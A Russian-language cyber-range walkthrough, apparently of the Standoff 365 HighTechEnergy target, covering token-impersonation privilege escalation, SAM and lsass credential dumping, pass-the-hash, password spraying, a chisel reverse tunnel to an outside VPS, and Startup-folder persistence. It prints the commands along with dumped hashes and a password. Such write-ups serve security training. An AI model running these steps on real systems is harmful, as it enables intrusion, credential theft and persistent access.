HighTechEnergy STANDOFF 365. Часть 2 - Privilege Escalation, Credential Access, Pivoting, Persistence
Ку, киберпанки! В прошлой статье мы получили инишиал. В этой статье речь пойдет о повышении привилегий, сборе данных на хосте, о туннелировании и закреплении.
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор не несет ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Повышение привилегий
Изначально имеем следующих зафишенных челиков:
Начнём с O_Lara. Сначала чекнем её привилегии:
whoami /priv
Видим, что есть SeImpersonatePrivilige
. Это означает, что можно выполнять что-то в контексте NT AUTHORITY\SYSTEM
. Для повышения привилегий использую GodPotato или SigmaPotato.
В директорию C:\Windows\Tasks\
(но лучше загрудать всю эту взрованную тематику по адресу C:\Users\user_name\
) загружаю GodPotato и запускаю:
shell GodPotato.exe -cmd "C:/Windows/Tasks/a.exe"
Но по непонятным причинам причинам ничего не отрабатывало:
В итоге, сделал новый маяк, загрузил его в директорию O_Lara с помощью SigmaPotato:
shell SigmaPotato.exe C:\Users\O_Lara\demon.exe
Сбор информации
Для сбора информации - будем дампить SAM для получения кред или хэшей.
Security Account Manager (SAM) — механизм безопасности, управляющий всеми локальными учетными записями пользователей, включая их данные. Абстрактно, SAM представляет собой базу данных, содержащую информацию о локальных пользователях, такую как идентификатор, хеш пароля и т.п
При помощи привилегии SeBackupPrivilege
мы можем это сделать:
По хорошему, это делается через mimikatz:
shell mimikatz "token::elevate" "lsadump::sam" "exit"
Но у меня мимик не отрабатывал, поэтому решил сделать по киберпанку: самому сдампить из реестра и на своей тачке распарсить с помощью pypykatz :
reg save HKLM\SYSTEM system.dmp & reg save HKLM\security security.dmp & reg save HKLM\SAM sam.dmp
Теперь выкачиваю и паршу. Покажу как это сделать с помощью pypykatz и с скриптом impacket secretsdump:
pypykatz registry --sam sam.dmp system.dmp
secretsdump.py -security security.dmp -system system.dmp LOCAL
secretsdump.py -sam sam.dmp -system system.dmp LOCAL
Administrator:500:none:1341d22a3bf7d7caa3b46590cda30b88::: Guest:501:none:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:none:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:none:9f510fd6ba1b078f7d342024d38aa80d::: ptadmin:1006:none:c316674dab626a3afdc5f6b31df29c2f::: itshuel:1007:none:6c4c4eb68a4c6082ab37166a9e967273::: adel:1008:none:cfeff215d461385934435a5b0fc060f4::: kot3:1009:none:33b8400f6cb308f57b2874f679e913fe::: Olga:1011:none:303a0a69a3e7b813fbda33cba07f1bf8::: test:1012:none:0cb6948805f797bf2a82807973b89537::: newuser:1014:none:bbcef4ffcfe931235927d4134505691b::: newhuy:1015:none:bbcef4ffcfe931235927d4134505691b::: collapsz:1016:none:6252774119889224f32364297cc43416::: nerv:1017:none:5745798f244536dfb453110e36751006::: autist:1018:none:163b8e2cce432c92c16d84235b60ddc9::: HTE.STF/Administrator:$DCC2$10240#Administrator#dfb35a65f92d8af602f08e358a58dc42 HTE.STF/o_lara:$DCC2$10240#o_lara#c4ee3a267ae7a808b67cd070b82f1bce HTE.STF/a_petinson_admin:$DCC2$10240#a_petinson_admin#113cf5264ab093c52cc06dc404596dca HTE.STF/k_delaney_admin:$DCC2$10240#k_delaney_admin#e5158fe15a7e4f2ce2d6d844652cb0fc HTE.STF/j_bowen_admin:$DCC2$10240#j_bowen_admin#6167c7eeb879d232bad0bbee78865dcc HTE.STF/j_glenn_admin:$DCC2$10240#j_glenn_admin#f08a98bbd5b6e57f9f7fb8f93e6776b4 HTE.STF/l_sherman:$DCC2$10240#l_sherman#210944504d230ed5b502332bba70b2b6 (Unknown User):Aa2sUdUlg3OJP98n
aad3b435b51404eeaad3b435b51404 заменил на none, потому что эта часть равна нулю
Есть хэши от юзеров, а значит можно сделать атаку Pass-The-Hash и есть пароль от неизвестного юзера, который можно будет спреить.
Pass-the-hash - техника, которая позволяет авторизовываться по хэшу, если аунтефикация происходит с использованием NTLM и LM
Но прежде чем это делать, нужно оформить туннелирование.
Pivoting
Проброс портов буду делать через chisel. С chisel нужно работа осуществляется так:
- На тачке пывнера разворачивается сервер chisel (желательно на тачке с белым IP)
- На тачке таргета разворачивается клиент chisel
./chisel server --port 3958 --reverse
shell chisel.exe client VPS_IP:3958 R:0.0.0.0:1080:socks
Теперь на своей тачке(та самая машина пывнера) прописываем в proxychains /etc/proxychains.conf
:
socks5 VPS_IP 1080
echo "socks5 VPS_IP 1080" | sudo tee -a /etc/proxychains.conf
Теперь, используя пивотинг, можно попробовать еще раз сдампить lsass, используя модуль nanodump
. Так мы получим список пользователей в домене и их хэши:
proxychains -q nxc smb -M nanodump 10.154.13.37 -u Administrator -H "1341d22a3bf7d7caa3b46590cda30b88"
hte\a_petinson_admin:7b4dc94ba597fbc95017cb313c83ab57 hte\a_petinson_admin:uDp0KD5Siu0tXAdg hte\o_lara:3974d41c04dfff97f05090b477ceb846 hte\o_lara:Aa2sUdUlg3OJP98n
Для того, чтобы получить список пользаков через shell, можно использовать команду net user /domain
:
Теперь попробуем засперить пароль Aa2sUdUlg3OJP98n
, используя nxc
:
proxychains -q nxc smb 10.154.13.37 -u users.txt -p "Aa2sUdUlg3OJP98n"
Это пароль от юзера o_lara. То есть, доказали, что это именно ее пароль.
Воспоминания о бывалом сервисе
Короче говоря, я пропустил один шаг в самом начале. Как помните, при скане портов была найдена станичка компании:
Попробовал ее прогнать через dirsearch и обнаружил свой косяк:
Если кратко, то там лежал VPN конфиг, который даёт доступ во внутренюю сеть - http://10.124.1.166/config
. Теперь попробуем его запустить с кредами от o_lara:
Таким образом, получил доуступ во внутряк:
Теперь chisel можно отключать и работать чисто через VPN-конфиг.
Для подтверждения того, что работает - можно проверить rdp подключение к o_lara:
Подключаемся через xfreerdp:
xfreerdp3 /v:10.154.13.37 /d:hte.stf /u:o_lara /p:'Aa2sUdUlg3OJP98n'
Так же, данный пароль подходит и для Exchange, который находили ранее:
То есть, появилась ещё одна возможность получить инишиал к другим пользакам домена через фишинг.
С помощью GAL (Global Address List) можно узнать какие пользователи есть в домене (имею ввиду без мусора):
Persistence
Совсем немного про закреп. Чтобы всегда отрабатывал маяк на SYSTEM, его можно поместить в директорию:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Заключение
В следующей части поговорим о сборе информации о домене/корпоративной сети, горизонтальном перемещении.